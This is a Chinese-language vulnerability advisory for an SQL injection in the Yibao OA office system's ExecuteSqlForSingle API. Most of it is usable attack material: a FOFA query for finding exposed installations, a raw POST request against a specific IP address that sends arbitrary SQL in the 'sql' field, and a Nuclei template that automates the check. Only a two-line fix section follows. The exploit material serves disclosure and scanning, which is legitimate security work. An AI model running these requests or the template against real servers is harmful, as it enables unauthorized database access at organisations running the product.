# 易宝OA ExecuteSqlForSingle SQL注入漏洞

## 漏洞描述 易宝OA是一款非常强大的手机办公软件，这里不仅为广大的用户提供了一个更好的工作日历，而且每个人都可以在这里进行重要事项的记录，同时软件中还拥有更好的打卡系统，让用户可以快速记录自己的工作时常，而且调班与补卡也会更加的简单，让你工作活跃度得到提升。该产品存在SQL注入漏洞，可通过该漏洞获取数据库权限。

## 漏洞复现

1. FOFA

title="欢迎登录易宝OA系统" || banner="易宝OA"



1. 部分界面如下



1. 隐患url，验证如下

POST /api/system/ExecuteSqlForSingle HTTP/1.1

Host: 121.35.99.21:8000

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

Content-Length: 103

token=zxh&sql=select substring(sys.fn\_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)

&strParameters=



Nucle脚本

id: yb-oa-api-system-executesqlforsingle-sqli

info:

name: 易宝OA ExecuteSqlForSingle SQL注入漏洞

author: m0be1

severity: high

description: 易宝OA是一款非常强大的手机办公软件，这里不仅为广大的用户提供了一个更好的工作日历，而且每个人都可以在这里进行重要事项的记录，同时软件中还拥有更好的打卡系统，让用户可以快速记录自己的工作时常，而且调班与补卡也会更加的简单，让你工作活跃度得到提升。该产品存在SQL注入漏洞，可通过该漏洞获取数据库权限。

reference:

- https://

metadata:

fofa-query: title="欢迎登录易宝OA系统" || banner="易宝OA"

verified: true

max-request: 1

http:

- raw:

- |

POST /api/system/ExecuteSqlForSingle HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

Content-Length: 103

token=zxh&sql=select substring(sys.fn\_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)

&strParameters=

matchers:

- type: dsl

dsl:

- 'status\_code==200 && contains\_all(body,"e10adc3949ba59abbe56e057f20f883e")'

## 修复建议

1. 升级到安全版本
2. Sql预编译